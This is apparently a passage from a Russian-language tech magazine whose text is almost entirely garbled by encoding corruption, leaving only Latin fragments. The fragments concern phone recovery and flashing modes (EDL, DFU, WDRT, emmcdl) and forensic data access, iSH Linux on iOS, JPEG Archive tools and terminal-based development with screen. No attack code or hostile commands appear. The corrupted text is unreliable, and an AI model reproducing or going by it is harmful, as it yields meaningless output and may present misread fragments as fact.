????�???� ????�???� ???�??�?� ???� ???�??�???�????� ???�????�?.� ???�????
???�????�?�?�???�???�?�??燜astboot,�???�?�??�??????�??�?�?�???�
??�(????��?�???�?�???�??�??�??�??).
?� ????�??�??� LG� ????� ????�???�??� ?????� ???�??�??�????� ???�??�?,
??????�???� ??????�???� ??� ???�???�???�?� ???�???� (Qualcomm� ???� Medi?
aTek).�???�?????�??�??�????燣G�?????�?�?????�?????燛DL�???�???�???�
???�?�??�???��????�???�???�????�??�??�?????�???�????�???�??�?
???� ???�???,� ???� ?� ??????� ??� ????�???� ?????� ???�??.� ???� ????�??�??� LG
???�????�???�?爁ull燨TA,�?????�???�????�???�??燫ecovery.�???�?燜ast?
boot� ???�????� ???� ???�??????�?????� ???????,� ???� ???????� ???�????� ????�
????�?� ???�??�????�?� ???�????�?.� ???� ???????� ???�?� ???�?� ?� ????�?
???� ???�??�?� ?????� EDL� (???�??,� LG� UP)?� ?� ???�???�?,� ??????�??????� ?????
????�??� ???�???�?� ??????� ????�?� ??????�???� ?� ?????�???????� ???�?� ????�
?????�??�?��??�????�???�??�??�???.
???�????� Xiaomi� ???�???�?� ????�?� ???� ???�??�?� ?????� ?????�????� Re?
covery�(full燨TA)�燜astboot�(???�?????�??��??�??�???�??�??�??�????�??).
???� ???�??� ??????�??� ???�????� ???�??�?� ?????� ?????� EDL� ???� ??????
�?????��???�??粻(???�?�???�???,�??�????�??�???�?�??�?????�??�???
??????�??� ??????� Xiaomi� ?� ??????� ???�?????� ???�????�?� ?� �?� ???�??????�
???�).� ?� ???� ???� ??????�??????� ??????� EDL� ???� ?????� ??????�??,� ?� ???????
???�??�????�?� ????�????�??� ???�????�?� ???�????,� ???�???�??� ?� �????�
??????�??粻???�?????�?�??�????�?????�??�??�??�???�????�??�????�?,
????� ???�???�???� ???�????�??� ???�??????� ??� ???�???�???�?� ?� ???� ????
????�?�??????��????燛DL�?�??????�?.
???� ????�??�??� Sony� Xperia� ???�????� ???� ???�?????� ???�???�??,� ???
?�??�??�??�??????�??�??�??�??�????�??�??�?.��???�???�??�??�???
?????� ???????� ??????�?� ???� ???�??�????�?� ???�????�?.� ?????� ????,� ?� ????
???????�??�?�??�?�???�??�???�??�????�?��????�???�????�??�???�
???�?� ??� ???�??,� ???� ?????� ????� ???�????� ????�?:� ???,� ?� ??????� Xperia� XZ
Premium,� ???????�??� ???� ???�?� ?????�??� ???�???,� ???� ??� ????�??�???
????�?� ???�?????�??� ???�??� ????�??�?� ????�??.� ???????� ??� ????�??�???
???�??�?� ???�??�??� ???�??�????�????� ???�???� ?????�????� ??� ????� ???
????�?????�??.�(?�???�??�??????,�??�?????�?燬ony�???�?????�?�??�???�
?????�?� ???�????�?� ???�?????�???� ????�??????� DRM????�??,� ???� ???�????
?� ?????�?????�?� ????�???�???� ???�??�?????� ???????� ??� ?????�??�?� ????�
??????.)
???�??� ?????�???� ????�??�?� (?� ????�???�??� ??� ???,� ???� ?????�???�?
?�??�??�?????燤TK)�??�???�?�?????�?????燬P燜lash燭ool,��???�???�???�
????�???�?�??�????�??�?�??�?�?�??�???�??�??????.
WINDOWS�燤OBILE
?� ??????� ?� ???�??�??�???�?� ???�????� ??????�??� ??� Windows� 10� Mobile� ???
??????.�?�????�?????�?,�??�?�???�???��?????�??�??�??�????�???�
?????�?� ???�?????� ??????� ????�??� ???�?� (???� ??????�???� ?????�???????
??�???��?�??�?????�???,�?��??�????�?????�?燱indows�?�?????�??
????�??�?�?�??�???�????�???�????�???????�?牜?�???�).
?�??�???�????�??�?�???�????�??�??????�??�?????�??,�?????�???
???�??????�???燱indows�燤obile.�???�???�??�?�??�?????�?燤icrosoft,
?� ???� ???� ?????�????� ??????�???� ???�???�???� ???�??�?????� Qualcomm.
????�???�???�?,� ???�???� ???� ???�??�??�????� ???�??�?� (?� ???� Microsoft� Win?
dows� Device� Recovery� Tool,� WDRT)� ??????�?� ??� ????�??�??�?� ???� ???�???�
?????� Snapdragon� ???�???�?� Qualcomm� 9008� Emergency� Download� (EDL).
???�?�????�????�?�????�???�????�??�?�??�???�?????�???��??�?????
?????�???�??�?????.
???�??�燱DRT�?????�???�?�??�???�??,�???��???????�?燗pple爄Tunes:
???????�????�??�??�?�?�????�??�?????�??�??�??�???,��?�????
???�??� ?� ??,� ?� ???????� ??????�???� ???�?� ?� ??????.� Microsoft� ?????� ??� ????�
???�???�?�??�??�??�?????�??�???�?????�?�???�?�(anti?rollback)�??????�
???�?� ???� ?????,� ???� ?� ??????�??� ???�???� ???�???�?� ????�???� ?� ???�???
??????�?�??�?燜ind燤y燩hone�(???�?????,�???�??,�???�?��??�????�???
???????).
Windows燚evice燫ecovery燭ool
??�???�???� ????�???�???� ???� ???�??�????� ?� ?????�??�?� (?� ????� ???,� ???
???�?�???�??�??�???�?�???�?),�??�???�??�???�???�??�?�(?�??�????�?
???�??)�??�???�?�??�??�????,�??�?�???�???�???�??�?�?�??�??�????�
??.�???????�?,�??�????�??�?�?�???
???�?????�?�??????�??�??�??????�??�?�??????�??燱indows�,��???�
???� ?� Microsoft� �?� ???粻 ?????� ???�?� ????�??�?� ???.� ???????????� ?????�?
???�??�???�?????�?�???�?�??�?????�??,�??????�??�????�??�???�?燤i?
crosoft,�??�??�??�燱indows��?�??�?.
??�??�?� ???�??�?????� ?????� WDRT� ???????� Nokia� 930� (??� ?????� ?� Win?
dows� Phone� 8.1,� ??� ????� ???�??�??�????� ???�??� ????� �???�???粻 ???�???
????�?� ??� ???�?� ???�?????)� ?????�?????� ???�?????� ???�????�??� ???????�
?????,� ???????� ??� ??????�?� ??� ?????�??� ????�????� ???�?� ???� ?????
??????�???�?� (??????�???� ??� ?????�??� ??????�?).� ?????�?� ????�???� Lumia
730� ?????�?????� ??� ?????� ???�????�?:� ???�?� ????� ?????�???� ????????
???????�??� ?????� ????�??�?.� ???� ???�?????,� ?� ?????� ???�??�??�????
???� ???�???�??� ???�??� ???�?� ??????�?� ??� ???�?� ????�???�??�???� ???�??
???�??�?�?????�??????�??�?,�??????�???�???�?燱indows�,�??��???�
????� ?� ??????�??� ???�???�??�?.� ???�??� ???????�??� ??????�???� ??� ???�??
????�?� Windows� 10� Mobile� ???�?� ?????�???�??� ???�????� ???�??�?????
???????�????�????.
??�????�??� ???�?� ??????�???� ?� ??????�????� ????�????� ??� Snapdragon
820,� ??????�??�????�???� ???�???� Alcatel� Idol� 4s� (Open� Market).� ?� ??????
?????�?�?????�?????�?�??�???�????�???�?????�?�??????�?????�???
??� ?????�???????� ???�??�?� ??????�???� ???� ??????� WDRT:� ???�???�??
???????� ???�???�?� ???�??�?,� ??� ????�???�???� ??� ????�??�?????.� ?????�
??????�??�??�???�???�???,�??�???�???��??�?????�??�???�?????�???
??????,� ???�??�??� ?� ???�?????�???�??� ???�?� ???�??�?.� ?� ??????�
??�16�???�??�????燗lcatel�燤icrosoft�??�???�?�??�????�??�??,�??�?
?????�???�???�???,�?�?????�????�??????�???�???�???�?????�???�???�
????�?� ???�?????�?� ????�?????�??� ???�????.� ?� ??????�???� ????�?????�?
?� XDA� ?????�??????�?� ???�?????�?� ????�???� ?????�????�?� ???�?� ???????�
????� (?� ?????�???????� ???� ???�????�?,� ???� ???� ???�?� ??� ???�???� ?� ???�???
?????�???�???�???�?,�??�???�??��????�?????�?�??????�??�?�??�??
????�?燱indows�???�??�?�???�?��????�???�??�???�??).�??�???�????�
????�??�?????�(????�?,�??�??�???:�???�???�?????�?!).
1.�?�???�?????� WDRT,� ???�?� ???�???� ?????�???� ???�??�?.� ???�???�?
?????�??:� ???�??�???� ???????,� ???�???� ??????,� ???�?????� ???�???�??
???�???�??�?�??�??�?�?�???.
2.�� WDRT� ?????� ??????�?� ???�???�??,� ???� ?????�?????� ???????� ?� ?????
EDL.� ???� ????�?:� ???�????�?� ?????�???� ???????� ??� ?????�??�?,� ????�
??????� ???� ?� ?????�???� 10?15� ??????.� ???�?� ???�?� ???�?� ???�??�???
???????� ?� ?????�??�?,� ????�????� ????� ??� ???�??� ????�????� ??� ???� ???,
????�?�?????�?�???�????�?????�??�??�??�????.
3.�??�?� ???�?� ??????�???� ?????� ????�??�??.� WDRT� ????�??�?� ???�?????
???????,� ?� ????� ???�??�?� ???�???�?????�?� ???�???�???� ?� XDA,� ???????
????�???�???�????�???�??�??�??�??�??�???�??��da.ru.
4.�??�?��?????�?燱DRT�???�??�??�?� RTM_IDOL_4S_Open_F1052.16.
09031.50700_1052.16.0903�50700.FFU.
5.�??�???� ?????� ?� ????�????�????� emmcdl.exe� ?� ?????�????�?� ?� ????�
???�?�
???�???�
idol4S_PRO_WIN_NPRG7627.bin,�
rawpro�
gram_6071w_OM.xml�(????�?���??�???�??�燲DA).
6.�??�???�?????�?� ????�????�????,� ???�?� ???�???� ???????� (?????�?� ?
???�?�?�???�?).
???�?�???�??,�??�??�?????�?�燗pple,�???�?�???�?爄Phone�??�??????
?????�??�??�??��??�??�??�????�????�??
??�??:燘lackBerry�
???�????� ???�?� ?????�??�???� ?� ???�???????� ????�???�??� ??� BlackBerry
??�???�?燪NX.�?燘lackBerry��??????�????�??�?????�??��?�??????�
???� BlackBerry� Q10� ??� ?????� ????�??�???� BlackBerry� Passport.� ???�??�?????
(??��???�???)�??�??�?�??�?�???�??�?????�??�?????�???�???�???�
?????�??.�???�??�?????��??�??�??�??��???�??????�??�?�??�?�(.exe),
?� ???????� ?????�????� ???� ????�??????� ???� ???�??�?� ????�??�?,� ????�??
????�???�?� ?????� ???�??� ??� ?� ???�??�?� ????�??�???.� ????�??�?????
?????�??????�?�?????�??�?????�???��????燛DL��????�??????�?�???�?
???�??� ????.� ??� ???�?� ???????� Flash� Tools,� QPST,� QFIL� ?� ???�??� ?????�??
????,� ??� ???�?� ???�???�???� ????�?� ???� ???�???� ?� ???�???�???� ???????� ????�
???��??�??�??�?????�???�??�?.�???�?�??�???�?�???��??�?燘lackBerry
???� ?� ??????�?� ??????,� ?????�???� ?� ?� ??????�???� ???�??�??�???�???.
????�?????�??�??,�?�??????�?:�??�???�??�?�???�?�??�?,��??????
???�???�?� ???�????� ???�???.� ??� ???� ????� ??????� ????�?� ???� ????�??� ???
?� ??� ???�???,� ???� ???� ???�??�?� ??????�???� ???�???� ???�???�???�?� ????????�
???.
???� ????�??�??� ??????:� ???�??�?� ???�?� ?????????� ??� ???�??,� ????�?
???�??� ????�???�??� ????�??�?????� ??� ???�??� ???�????�??.� ???� ???�?
????????�?????�??�??�???�??��???�.BAR????�??�????�???�????燬ach?
esi.� ??????�???,� ???�?� ???�?� ???�??� ????� ???�?????� BlackBerry,� ???�?
?�??�???�??�?�????�???,�?�??�??�?????�???�?�??�?��????�?????�
??��??�??,�?�??????,�???�???�???�??�??�??�?.��??�???�????????�
????�??�???�??�????�???�??�???�?????�??�?,�?�??????�??�????�??
??�???�????��??�???�????,�???�??�????�?�?�?????�?,�??�?�??????.
???�????�??� ????�??�?� BlackBerry� ?????�???�?� ??� ?????�??� ???�???�
????�??�???�??��?????�?�??�??????�???燗ndroid.�??�??�??�?�?????�
???�?� ????�??�????�?,� ???????,� ????�?,� ????�???�???� ?????� ???�?� ????
??????�??�??�??燜astboot.
?�???????????�??????�?????????????�???????
???�??� ???????�????� ???�?� ???�??� ?� ??� ???�?????�?� ?????� ???�???�?????
??????� ???�??�??�????� ??� ??????� ?????�?� ?� ??????�??� ???�?:� ???� ?????
???�?�???�?????.
Apple爄OS
???�?� ???�?� ????� ?????�?� ?� iPhone.� ???� ?????� Recovery,� ???� ?� ?????� DFU
????� ???�???�?� ????�????�??� ???�??� ?� ?????�?????� ????�??�?.� ?????
?????燚FU��?????�?�??�?�?????�??�?????�??????�??:
? Device爉odel:爄Phone7,2�(n61ap),爄Phone10,6�(d221ap)��??�?????
? ECID�/燯nique燙hip營D:�??�???�??�???�?????�??�??�??�???��??�???
XXXXXXXXXXXXXXXX?
? Serial� number:� ?????�??� ?????� ??????�???� (????�?� ?� ??????� Recovery?
?????燚FU�????�????)?
? IMEI:� ???�?� ?????�????� ?????� DFU?� ?� ??????� Recovery� ???�??�???�?
??�???�??
? Mode:�???�????�?????,燫ECOVERY�??燚FU.
???�??�??�??,�??�??�?????�????燚FU:
Device燤odel:爄Phone8,1
Model:爊71map
ECID:燲XXXXXXXXXXXXXXX
Serial燦umber:燦/A
IMEI:燦/A
MODE:燚FU
???�??�????�??�??�????燫ecovery:
Device燤odel:爄Phone8,1
Model:爊71map
ECID:燲XXXXXXXXXXXXXXX
Serial燦umber:燲XXXXXXXXXX
IMEI:燲XXXXXXXXXXXXXX
MODE:燫ecovery
??� ????� ???.� ???�???�???�?� ???.� ???� ????� ???�???� ?� ?????�????�???� ????�
????�??�??.
Android
??�????�????� Android� ?� ???�????�??� ????� ???� ???????�??.� ????� ????
Google� ?????�???� ????�?� (?????�??� ???�??????� ???�????�?,� ???�??�??
?� Nexus� 6,� ???�???�???� ????????� ???�??� ?� ???�??� ?� ???�????�???� ??,
??� ????� ????� ???�????�?),� ??� ???� ????????� ?� ???�??� ???�???�???�???� ????�
??????�???�??�?燬amsung燝alaxy燬7�??�?�???�???� ???�???????,�??�????�
????� ???�?� ???????� ?� ???�????�???� ???�??.� ????� ????� ???�??,� ??� ????�
????????� ????�???� ????�??�??� ???�?????,� ????�?� ??????�?� ?????�???� ????�
?????.� ??�????�????� ???�??????� ????� ?� ?� ???�????�?� OnePlus� 6� (???�?
??????�????�???�?�??�???�???�??�??�???�?�???�??????�???:�??�???�
??????�?� ???�??� ???�???�???� ???�???� ??????� ?� ??????�???� ????�??�????�
?????�??�??�??�??�????�?�????燛DL,�??�?�???�??�?�??�?????�?��???�
??????�?????�?).
?�??�?�??�??�??�???�???????�??�???�??�???�??�?�?燗ndroid�????�
????�???� ?????� ????�???� �????�???�?� ???�� ??� ???�?� ?????� ???????�??
???????� ?� ??????�????,� ???� ???�?????�???� ????�???�???�??�??� ?????�?
???�??�???��??�??�??�????�??�???�???�??�??�?�??�???�????�???�?
?????�?.�???�?�???�???�?�??�?????�??,�??�????燙ellebrite�??�??????�
??� ?????�?� ???�????�???�??�??� ???�????�??,� ???�???�???� ???�????�???
???�??�?�?????�??�??????�??�???�??�??燞uawei.�????�?�?�??�?�???�
?????� ???�?????�?� ??????�?� ?????�????� ???�??� ??� ???�???�?� EDL,� ???�??
???� ???�??� ??????�??� ??????�???� ???�????�???� ???????�??,� ??� ????� ???
???�????�?� (???�?????�?� ???�?� ??????,� ???????�??�????�???� ??� ???????
??� ????�?).� ?????�????� ?� ????� ???�???,� ?????� ???�???� ??????�??� ??� Android
???�?????�??�????�??,�??�??�??�?????�??�???�?,�?� ???�??�??�?????�
??????� ???�?????�?� decrypting� bootloader� ??????�??� ?????� ???� ???�??�???.
?????�?�??�????�????�?��??�??�??�??????燝alaxy燬8/S8+�?�??�????
Qualcomm�燛xynos.
??� ?????�?� ?� ???�??�???�??� ???�????�???.� ???�???�?� Oxygen� ????� ????�
??????�?�?????,�??�???�???�????�??�??????�??�????�?�??�????�???
???�??� ?� ????� ????�??�??� Motorola,� ?� ???�?� ??????�?????� ???� ?????�????
???�??� ???�???�?� LG� UP� (???� ????�??�??� LG)� ?� ???�????� ???�??�??�????
MediaTek�(???�???�??�??�?�??�????燤TK,��??��???????�????�????).
????�??,� ???� ?????�????� ?????�?????� ????�??�??� ??� ?????� MediaTek
??� ???�?????�?� ????�?????�?� ???�????�???�??�??� ???�??.� SP� Flashtool
?????�?????��???�???�?????�%�?????�??�?燤TK�??�??�??�???�????�
???,� ???�??� ???�??????� ?� ?????�???� ??????�????� ??????�???�?� ??????
??� ????�?.� ????� ??� ???�??????� ???�???�??�?,� ??� ???� ????�???�???� ?????�
?????�??�???�???�(???�??�?�????�????,燜ile燘ased燛ncryption),�?�??�??
?????� ???�??????� ???�???� ???�??� FDE� (Full� Disk� Encryption)� ???�
?????????????� ??????� Secure� Startup� ???�???� ????�?� ?� ????�??� ?????�
????????.
Windows�燤obile
?� Microsoft� ???�?� ???�???� ??� ????� ??????�??� ???�????�????,� ?????�?
??� ????�?� ???�??� Secure� Boot� ?� ????�????�??� ???� ????� ?????� ???�????�?
?� ???�????�??� ????�????�?� ????� ???????� ?� ???�????� ????�??�???�?� ??????�
??????�?� ????�?????�?,� ???�?????� ???�???�???�??� ?????�??�????� ???�???�
????.� (??� ???�??� ?????�?,� ???�?� ??� ???�????� ??????� ???�???� ?� ????�???,
?� ???�??� ????,� ???� ?????� WDRT� ????�?� ???�???�???� ?????� ???�??� ????�?
???�???:�??????�?????�?�???�?��?????�????�?�?????�??燱indows�???�
???�????�?� ??� ????.)� ??� ?????�?????� ????� ?????� ???�??????� ???�????�?
?� ????�??�??� Lumia� ???�?� ????????� ???�?� ?????�???�?????�?,� ???????
???????�??�(????�?�???�???�???�????�??�??�??????�??�???�??�??,
??????�?????� ????�?� ???????�??� BitLocker)� ???� ????�?????� ??� ????�???
????????????� ???�??� ???�???�????� ???�???� ?� ???�????,� ???�????�??
ARM?????�?燱indows�,燱indows燫T�??燗ndroid.
?�??��????�???�?�??�???�??�???�?:�燙ellebrite�??�??�?�??�??????�
??� ???�????�???�??�??� ???�????�?� ???� ?????�????� ???�??� ??� ????�??�??
Lumia� (????�?,� ????� ????�???� ???�??????,� ??� ????�?� ???� ???�????� ??� ????�
????).
BlackBerry�
???�???��??�??�???�?????�?�????�????燛DL�??.�??�??,�?�??:�??�??
????,�?�???�?�???�???�?�??�???�??�??�??�????�?�?????�???�(???�???�
???�?� ???�?� ?� ?????�??�?,� ???� ????�??� ???�??�????� ???�???).� ????� ??
??� ????�?� ???� ????�?� ???�?????�?,� ??� ??????� ???????� ????�?� ???� ???�??
?????�???�?????.
??????????
??� ???�???�???� ???????� ??????� ???????� ???� ???�??�??�????� ???�????
??????�??� ??????�??.� ?� ????� ???� ??????�??� Apple,� Microsoft� ?� BlackBerry
?????�??�?� ???�?????� ???�???,� ??� ???� ????�??�??� ?� Android� ????� ????�
????????� ???�??�??�????� ???�??�?� ??� ???�???�?� ???�????�?� ???�??� ????
??�???�?.�???�??,�??�??�??�?????�??�?燗ndroid�??�????�?�???�?�???�
???�??�????� ???�?????� ???�??�?,� ??� ?� ????�??� ??????�?� ??� ???�??�?
???�??�???�???�??,�?????�???�??�??�??�??�?????�???�?.
?????
??????�?????????
????????????
apismenny@gmail.com
1
ISH�牜?????????粻LINUX,�??????�???????�營OS
??�?????�??,� ???????� ?� Apple� ??????�?� ??� iOS� ?� ????�????
???�??,�?�???�??�???�?�???�???�?????��??�????�??�??�???�
???.� iSH� ?� ???� ????� ??� ?????� ?????� ???????� ????????� ?� ???�???
?????�??�???�???,�??�??�?????�?�?�???�?�??�???�?爔86.
??�??�???�?,� ????�?� ?????� ?� ???�?????� iSH� ??� App� Store� ??� ????�
???��????�??�?燗pple�???�?�?�??�??�???��??????.�??�?????�
????� ???�???�???????� ?????�??� ???� ???�???�?� TestFlight� ?
???�?????????�???�????,�???�????�??�??�??�??�?????�??�???�
????�??.� ????�??�?� ??� ???�?� ???????�???� ??� ????�?:� ???�????�?
???�?????燭estFlight��????�?�?�???�???�??�???� ????�?�?�??�?
ish.app.
?� ???� ?????� ????� Alpine� Linux� ?� ??????�??�?????� ???�??�????
??� ????�?� BusyBox,� ???????� ????�???�?� ???�??�???� ???�?????.
??????� ????????� apk� update,� apk� upgrade� ?� ????????� ???�???
???�??� ??????� ???� ??????� apk� add� <????????>.� ????�???�?
?�??�???�??�??�?�?????��???燾url.
?�??�??????�??�?????��????�???燩ython���???�??�??�????�
???�?�??�????,��??燫EPL�??�?�?????�?,�???�??�?燘ad燬ystem
Call.�???�??,�????�???�????�?�??�?�??�?.
???�?� ?� ??????�??� ???�??� ???�?� ??????�?????� Vim� ???� nano.
?� nano,� ???�????,� ??� ??????�???� Enter,� ???�?� ??????� ???�?????
????,� ??� ???�?� ??????� Ctrl?S� ?� ?????� Ctrl?X.� ?� Vim� ?� ????�????
?�??�????��?????�????�?.
??� ????�???� ???�???� ????� ????�?� ?????,� ???????� ??� ??????�?
?� ???????� ???�?� ??????�?� (?� ???,� ???�????,� ???�?????�?).� ?????
???�??�???,�??爂it�爌ip,�??�???????��??,��??:�??�????�????
????,�?�???�???�??�??�???�?�?�??�??�???.
??�????�??燣inux��?????�?��??,�????�?,�????�???��?????�
??,� ??� ????� ???� ??� ?????� ?????�?,� ?????� ??� ??� ????� ????� ????????
????.� ???�????,� ?� ???�??????� ???�?????� Nmap:� ???� ???�??�?
???� 97� ????????� ??????�??�??� ?� ????�????� Illegal� Instruction
???�????�?�????�?.
???�???�?�??�???��?????�??�?????�??�???�??�??�?�??,�?
?????�?� ???�??�?????� ?????� ???�?????� ????� ??� ???�????� SSH
(?????�?�????�???�??????,�??爄SH)��?????�?????燣inux�?�???�
???�??� ???�???.� ?� ???� ??????�??� ?????� ???�????�?� ???�???�??
Shortcuts�燩ythonista��??,�???�?,�??�???�?????�?�???�?.
2
JPEG燗RCHIVE��????�?????�??�???????????
??????�?????????
??�?????�??�??�?燩hotos,�??�?????�??�??�????�,�???�?????�
????�??�???,�???�????�??�?????,�????�?�????�??�??�??�???
???�???� ????.� ????�???� ???�????� ????� ????�??� ???�???� ???�??
????�???�??�????�????,��???�??�???????��??�???��?�????,
??� ????�??�??� ??????�?� ?????� ?????� ?????�??� ?� ???�??� ???� ????�
????�?燡PEG燗rchive.
?????� JPEG� Archive� ?� ???,� ???�?� ????????� ????�??� ???�???
??� ?????� ???�??� ????�??� ???� ???�???� ???�????,� ???�??� ??� ???�?
???,�??�?�?�???�???�??????�?.��??�???�?:
? jpeg-hash��???�?�??�???�??????��??�???�????�?�????�
???????��??�???�??????
? jpeg-compare��???�???�?�??�???�?��???�???,�??�???�?
???�???�??�?�?????�(?�??�??�??)?
? jpeg-recompress� ?� ???�???� ?????�????� ???�???�?� ???
?� ?????� ??????�?� ????�???�??� ??� ????�??????� ???�??� ?
?????�??�???�??�(?????�??�?�??�??�??)?
? jpeg-archive� ?� ??????,� ???????� ???�???�?� ??� ????� ???�??�??
????�??� ?� ???�?????�???�?� ???�???�?� ???�???�??� ???�???
???�???�??�??�??�??????��??�??.
?� ????� ???� ??� ????� ???�?????�?� ?� jpeg?archive:� ???� ????� ???�?� ????�
??????�??爀xiftool,燿craw�燣adon�??燝NU燩arallel�??�????�???�??
??????� ??� ???�???�??� ???�??�?????� ?????.� ????� ????�????� ?� jpeg?
recompress�??��????�???�??�??�??�????�?�??�?�?????.
????�?� ???�???,� ????� ?� ????,� ??� ???�?� ??� ????,� ???� ???�??� ????�
?????�??:� ???�??� ???�?� ???� ????�??�??� ????�????� ?� ?????�???�?
???�???�??????�?�??�?�?��?�%�?�???�?????�??�??�????�
???.�??�??�???�???�?,�??�??�??�?燩hone��????�???�?�???�
?????�??�??�??�?�,�?��??�???�?�??�????�??�??�??�??�?
iPhone燲��??�?�?50%.��??�??�??�??�???�?�?�???�????
?� 70?80%,� ???????� ????�?� ?� ????� ????????� ????�??????� ?� Canon
7D.�???��???????,�??�?�3.�??�??�?�??�??�???�??�??!
??�??�?,�??�??��?????�?�???�?�???�????�???�???�?,�?????.
???�??�???�??�?�???�??�???,�????�???,�??????,�?�??牜????�
?????�??粻 ???�?� ???�?,� ???� ???�??� ???�????� ???????�?� ?????�
????�???��????�??�??�????�???�???.�??�???燡PEG!
??�???� ????� ??� ??� ??????�??�?� ??????� ???�?????�??� ???�???�??
?� ???�??�?????� ???� ???�???,� ??� ??????�???� jpeg?recompress� ???�?
???�??�?.�???�?��????�??�??��??????�??�???,�??????�????
???�?� ???�????????� (?????� ???�?� ???�??� ??????�?� ???�????),� ??,
???�?��??�????�???�??????�????,�??�??�?�??�?????�?�????
???�??�??.
???�?��???�??�?�??�???,�???�?��??.�???�???�?�?????
????�?
???�??�??�???�??�????�??�?�???�a,�??????�??�??��??�??�??
???�????� ???�???,� ???�??�????� ???�????�???� ?????�??.� ??� ???
??????,�??�???�???�?�??�?:�???�??�??�???�???�?????�?�,
???�??�??�??�??????�?�??�??�?.
3
CODE燩HOTO��?????�??�??????????
??????????��???????????�???
????�???�??�?????�?????�??�??�???????�????�??�?�??�?�?:
????�???�?�??�???�???�???��??�?????�??�??��??�?�??�???�
?????�???�??�燣inux,�?�?????�??�??�??????????�???�??????�
??� ????�?� ???�??�?????�???� ???�??� ???????� ????�?� ??????�??.
?� ????� ?????� ???� ???�??????�??,� ???� ???�?� ??� ??????�?� ???�????
?�??�???.
???�??,� ???????� ??????�?� ????�?� ??????� ???�???�??� ???�???
???�????��???�??�??�??�????��????,�?�?�??�??�?�?�????�?
?� ????� ???�???.� ??� ???,� ????� ??� ?????� ???????� ???�???� ????�????�
?????��??�??�??�????�??��???�?????�??��????�??�???�??
???�???�??�????!�??�??�?�?????�??�?�???�??????.
????�?�???�??�??�???�?燾odephoto.ru,�????�???�??��????�
??��?????�?�?�???�?牜MaKE爄t燽EAuTIful�,�?�???牜???�??�???�
????�.
???�????�???�?�??�???�?�??�??????�?�??????�??�??�??.
???�?��??燰erilog�?�????�????�??�?????�??燜PGA
??�??,�??�????�???�??�??�??�?????�???�??�??�??,�?????�??
????�???�??�???�?�??�?,�??�?�??�??�?????�?.
???� ???�??� ????�???�??� ????�??�??� ????�????:� ??????�????
????� ???�??,� ????�??� ????� ???�??� ?� ????????????� ?????�???� ????�
????,� ??????� ?� ????� ?� ???�???� ????,� ?� ??????�??� ????�???????�
?????�?�??�??�??�?????�???��??????!
??????
?????????�?????
phirsov@mail.ru
?????
?�??????
???�?????????�?營DE��????
?????�???????????
?�????????��???
??�??� ?� XXI� ????� ???�????�???� ???�?� ??????� ????�?????�
????�??� ?� �????粻 ???�????� ??� ?????� ??,� ?????� ???�???
??????�??????�???��??�???�?�??.�???,�??�???�?�???�
????�?�??�????�??�?��???,�?�??�?�??�??,��??�???�
??????�??�?�??�??�???.
?�??�?�?�??????�??�????,�??�?�??�???�??�????�??�???:
? ?????�??��?????.�?,�??�?�????�?,�???????��??�??�??�???�???�
??????�??�???�???�?�????,��???�?��????�???�?,�??��?????IDE,
???�?????� ???????� ??????� ??� ????,� ???� ?� ???� ??� ???�??� ??????� ?� ???�?
???�???.�?�??????��??????�08�???��???�???�??�??�??�????�?
?????�????�?.� ??� ?� ????� ???�????� ??????�???� ???�?� ???�?????�???
??燩ython�燙�???,�??????�???�??�?????�???�???�????�??粻?燤atlab.
???�??�???�????�燛clipse,���燦otepad++,�????�??��??�???�?????�
???�????� Python� ???� make.� ???� ????�???�??�???� ???�?????�??� ??� ???
??????�?????� ?????� ???�????�??� ???�????.� ???�???�????,� ????????�
?????�????,� ???�??� ???�?� ????�?????�??� ????� ?????�?????,� ???�????
?� ???�?� ???� ???????� ????�???� ?????�???.� ?� ???�?� ??� ????� ??� ???
??� ???????� ???�??�???�??� ?� ???�??�?� ???�????�?� ???� ?????�??� ????.
IDE��?�????�????�???,�????�????�???�??.
? ??�???�????�??�??�?�??�???�??�??????�??????�??�?.�??��????
????� ??� ????.� ???� ????� ?????� ?� ???�??� ????�??� ???�??� ??� Qt� ???� RHEL.
?????�?� ??????�??� Embedded,� ?� ???�??�??�?� ???� ??� ??:� screen,� vim,
ctags,燾oreutils,爉ake.
? ???�?????�??�??�???�???.�???�?�??�???�?�??�??�???�??�???
?� ????�??� IDE.� ???� ?????� ??????�???�??� Delphi� ???� Eclipse?� ???�??
?� ????�????� ???�???�?� ??� ????????� ??� ???�???�??� IDE,� ???�??�?� ?????�
??????�??.
? ????�??�???�??�???.�???�??,�????�?,��??�??�??????.�???�??
(??� ???????�?!)� ?� AOSP� ?� Android� Open� Source� Project.� ???� ???�???� ????�
???�?�??�????�?�??營DE��????��?????�?.�??�?�??�???��???�??
??� ??????� �?????,� ??????�?,� ????�?� ?????� ????� ???????�?????
AOSP�爔yzStudio!11�.
? ??�???� ??� ???�??� ??????.� ???�????�??� IDE� �??� ??� ?� ????粻 ????�?
??????,�??�??�??,�??�???�??�??�??�???�?????�?????�???�??�????
???????,��??�?�牜???�?�??�.�??�?�???�???,�???�?�?????��???�
???� ???�?� ?� ????�???�??�??� ????�?� ??� ????�??� ?� ???�??� ???�??.
???� ????�???,� ???�?� ??� ??????�??� ?� ?????�????�?� ?� ????�???�???,
?� ??????� ???�????�???,� ???� ?� ??????� ??????�?,� ???� ?� ??????� ????�???�?
?�????�????�??�???�????�?�??????.
? ???�??�??� ??????� ???� ???�????.� ??,� ?????�?,� ???� ????� ???�??�?????:
TeamViewer,燭igerVNC.�?�??�??,�????�?,�???�?????.
? ???�???�????�??� ??????.� ??????�?� ???�??�????� ?� ???�?� ?????,� �� ?,
???�???�???,� ??� ????�?� ???????????�????,� ?� ??� ???�?????� ???�??,
?????!�.
SCREEN�(???燭MUX)
???�??�??�??�???,�??????�?�??�???�??,�爏creen.�?�???�?�?�?�???,
???� ????�??� ?????�??� ?� ????� GUI:� ???????�?� ???�???�???� ???�???�????,
???�????� ?????�?????�?� ?� ????�?� ??� ???�??.� ?� ???�???�??� ???�??�??� ?????
???�??�??�?� ??????�???� ???�?????�???� ????�??�????�???.� ???????,
??�???�???�??�????�????�??�?�??�?�爏creen�????�????�?????爎atpoi?
son,�??�???�???�???�???�?�????�???�??�????�??,�??�???.
??�????�?� screen� ?� ???????� ???�???.� ??� ???� ???�???�??� ???�???�?,
?�??�????�?�???,�???牜????�?????粻???�???,��???�???�?�?�???�????�
??:��?????�??�?????�???�???�??�????�?�??��??�???�??.�????�?�??
?????�?爏creen�???�???�???�???????�(???�?????�??�?????�???)� Ctrl^a.
?????�??� ???�??????�??�??� ?????�?� ???�???�?� ?� ???????� ???�????,
???� ?????� ???�??� ???�?� ?????�?� ?� ?????�???� ????�?� screen� ?????�??� :� (??
